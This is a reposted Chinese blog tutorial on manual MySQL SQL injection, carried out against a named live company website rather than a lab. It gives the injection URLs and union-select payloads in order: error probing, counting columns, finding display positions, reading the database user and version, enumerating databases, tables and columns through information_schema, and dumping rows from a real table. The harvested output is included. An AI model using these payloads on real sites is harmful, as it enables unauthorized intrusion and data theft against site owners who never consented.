最新消息:

转载:实战手工注入Mysql

渗透测试 Eternal 3860浏览 0评论

目标站点:https://unitedenertech.com/news/item.php?id=40 ??国外友人的站点大家不要去乱弄哦

0X01 判断是否为注入点

首先我们在这个注入点结尾加上’?????????????//英文输入法的字符不是中文的

报错显示:

Error(s) found:?‘1’

  • Unable to perform the query ‘SELECT id, CASE when datetime=0 then NULL else DATE_FORMAT(datetime,?’%m/%d/%Y’) end as articledate, headline, content, photo FROM news2 WHERE is_active = 1 AND id = 40\’ ORDER BY datetime DESC;’. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’ ORDER BY datetime DESC’ at line 1.

+and+1=1 ???页面显示正常

+and+1=2????页面显示错误

存在注入点
0X02 判断数据库类型

https://unitedenertech.com/news/item.php?id=40+and+user>0??报错

https://unitedenertech.com/news/item.php?id=40+and+version()>0 ?正常

判断为Mysql数据库

0x03 猜解当前网页的字段数

采用二分法,逐渐猜解。

这里我们用火狐渗透插件?比较方便

用这个来猜解字段数 order by n–

https://unitedenertech.com/news/item.php?id=40 order by 5–??正常

https://unitedenertech.com/news/item.php?id=40 order by 6–??错误


 

Order by 5–显示正常?;order 6–显示不正常。说明字段数为5

0x04 爆出当前网页显示位

+and+1=2+union+select+1,2,3,4,5–

https://unitedenertech.com/news/item.php?id=40+and+1=2+union+select+1,2,3,4,5–

 

显示位为2和3,4

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。

0x05 爆出数据库基本信息

+and+1=2+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5–

用户:root@localhost ,数据库名:enertech,数据库版本:5.0.51-log

可以在显位的位置插入的预设函数;

User()?查看用户

database()??–查看数据库名称

Version()?–查看数据库版本

@@datadir –数据库路径

@@version_compile_os–操作系统版本

system_user()?–系统用户名

current_user()–当前用户名

session_user()–连接数据库的用户名

为了显示信息更方便,这里在构造sql查询语句中使用了concat函数,它连接一个或者多个字符串,?有任何一个参数为NULL?,则返回值为 NULL。还有group_concat()和concat_ws(),这些函数的功能不清楚,有必要去了解一下,这里我就不多说了。

0x06 爆出数据库名

+and+1=2+union+select+1,group_concat(distinct+table_schema),3,4,5+from+information_schema.columns–

爆出数据库名:information_schema,_DEVELOPMENT,cms,enertech,enertech_dev,enertech_old,mysql

information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。

MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。

0x07 爆出当前数据库的表名

+and+1=2+union+select+1,group_concat(distinct+table_name),3,4,5+from+information_schema.tables+where+table_schema=database()–

 

显示的表名:actmodelhasoptions,actmodels,actmodels_a,actoperations,actoperations_a,actoptions,acttypehasoptions,acttypes,acttypes_a,actuators,actvoltage,bvbaselist,bvpricing,categories,controlsystemopts,controlsystems,curbbaselist,curbcostmult,curbmathastypes,curbmodelhasopts,curbmodels,curboptions,curbpricing,dhconfig,diffuserbaselist,diffusercostmul

如果数据库表比较多,一般都使用使用limit n,1插到末尾,逐次爆出的数据(n为显示第n个)。

0x08 爆出表中的字段

+and+1=2+union+select+1,group_concat(distinct+column_name),3,4,5+from+information_schema.columns+where+table_name=0x6468636F6E66696720–

我们选择爆dhconfig这个字段转成HEX(16进制)0x6468636F6E66696720

+and+1=2+union+select+1,group_concat(distinct+column_name),3,4,5+

爆出了当前数据库的dhconfig表中的字段:dhcid,dhid,baselist,stages,extrastage,discoswitch,minfusing,scrcontrols,kw

0x09 爆出数据库表的数据

+and+1=2+union+select+1,group_concat(dhcid,0x2B,dhid,0x2B,baselist),3,4,5+from+dhconfig–

 

爆出内容:1+370,3+1+390,4+1+420,5+1+620,6+3+340,7+3+370,8+3+390,9+3+510,10+3+530,11+3+620,12+4+340,13+4+370,14+4+410,15+4+450,16+4+500,17+4+600,18+4+660,19+5+335,20+5+350,21+5+370,22+5+430,23+6+340,24+6+360,25+6+380,26+6+440,27+6+530,28+6+560,29+7+340,30+7+380,31+7+405

转载自:http://blog.cron.ren/post/1d441697_b89e954

转载请注明:即刻安全 » 转载:实战手工注入Mysql

您必须 登录 才能发表评论!



合作伙伴